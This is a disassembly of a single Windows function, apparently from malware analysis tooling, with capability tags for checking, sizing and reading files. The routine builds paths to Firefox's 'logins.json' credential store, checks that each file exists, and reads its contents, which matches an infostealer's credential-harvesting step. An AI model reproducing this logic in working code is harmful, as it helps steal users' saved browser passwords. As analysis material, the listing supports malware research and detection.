Function at 0x10010d60
Capabilities:
Check if file exists
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1011a186
mov eax, dword fs:[0]
push eax
sub esp, 0x90
mov eax, dword [0x10165034]
xor eax, esp
mov dword [esp + 0x88], eax
push ebx
push esi
push edi
mov eax, dword [0x10165034]
xor eax, esp
push eax
lea eax, [esp + 0xa0]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [esp + 0x1c], ebx
call fcn.100108f0
test al, al
je 0x100110a1
lea eax, [esp + 0x58]
mov dword [esp + 0x60], 0
xorps xmm0, xmm0
mov ecx, ebx
push eax
movq qword [esp + 0x5c], xmm0
call fcn.10010660
mov dword [esp + 0xa8], 0
mov esi, dword [esp + 0x58]
mov eax, dword [esp + 0x5c]
mov edi, dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
cmp esi, eax
je 0x10011082
xor eax, eax
mov dword [esp + 0x78], 7
push 0xffffffffffffffff
push eax
push esi
lea ecx, [esp + 0x70]
mov dword [esp + 0x80], 0
mov word [esp + 0x70], ax
call fcn.10001d60
push str.logins.json
lea eax, [esp + 0x68]
mov byte [esp + 0xac], 1
push eax
lea eax, [esp + 0x48]
push eax
call fcn.10007490
add esp, 0xc
xor eax, eax
mov byte [esp + 0xa8], 2
push 0xffffffffffffffff
push eax
mov word [esp + 0x2c], ax
lea ecx, [esp + 0x2c]
lea eax, [esp + 0x48]
mov dword [esp + 0x40], 7
push eax
mov dword [esp + 0x40], 0
call fcn.10001d60
lea ecx, [esp + 0x24]
mov byte [esp + 0xa8], 3
call fcn.1004eda0
cmp dword [esp + 0x38], 8
lea eax, [esp + 0x24]
cmovae eax, dword [esp + 0x24]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
mov byte [esp + 0xa8], 2
setne bl
cmp dword [esp + 0x38], 8
jb 0x10010eaa
push dword [esp + 0x24]
call edi
add esp, 4
test bl, bl
je 0x10011035
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [esp + 0x84]
push eax
call fcn.10001d60
lea ecx, [esp + 0x3c]
call fcn.1004e2f0
add esp, 0x18
mov byte [esp + 0xa8], 4
cmp dword [eax + 0x14], 0x10
jb 0x10010ef6
mov eax, dword [eax]
push eax
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x60]
call eax
add esp, 4
mov byte [esp + 0xa8], 2
cmp dword [esp + 0x38], 0x10
mov ebx, eax
jb 0x10010f1d
push dword [esp + 0x24]
call edi
add esp, 4
test ebx, ebx
jne 0x10011035
cmp dword [esp + 0x54], 8
lea eax, [esp + 0x40]
push ebx
cmovae eax, dword [esp + 0x44]
push 0x80
push 3
push ebx
push ebx
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x20], eax
cmp eax, 0xffffffff
je 0x10011035
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0x14], eax
lea ecx, [eax + 1]
push ecx
call fcn.1010d140
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10010f98
push 0
lea eax, [esp + 0x80]
mov dword [esp + 0x80], 0
push eax
push dword [esp + 0x1c]
push ebx
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
lea ecx, [esp + 0x84]
call fcn.10007fa0
sub esp, 0x18
mov byte [esp + 0xc0], 5
mov ecx, esp
lea eax, [esp + 0x98]
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.100081b0
push dword [ebp + 8]
mov ecx, dword [esp + 0x38]
call fcn.100110d0
test ebx, ebx
je 0x10010fee
push ebx
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete___void__]
add esp, 4
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + 0x78]
call eax
cmp dword [esp + 0x94], 0x10
jb 0x10011017
push dword [esp + 0x80]
call edi
add esp, 4
mov dword [esp + 0x94], 0xf
mov dword [esp + 0x90], 0
mov byte [esp + 0x80], 0
cmp dword [esp + 0x54], 8
jb 0x10011045
push dword [esp + 0x40]
call edi
add esp, 4
xor eax, eax
mov byte [esp + 0xa8], al
cmp dword [esp + 0x78], 8
mov word [esp + 0x40], ax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], 7
jb 0x1001106f
push dword [esp + 0x64]
call edi
add esp, 4
mov eax, dword [esp + 0x5c]
add esi, 0x18
cmp esi, eax
jne 0x10010df1
mov esi, dword [esp + 0x58]
test esi, esi
je 0x1001109f
push dword [esp + 0x14]
lea ecx, [esp + 0x1f]
push ecx
push eax
push esi
call fcn.10007990
push dword [esp + 0x68]
call edi
add esp, 0x14
mov al, 1
mov ecx, dword [esp + 0xa0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x88]
xor ecx, esp
call fcn.101176fb
mov esp, ebp
pop ebp
ret 4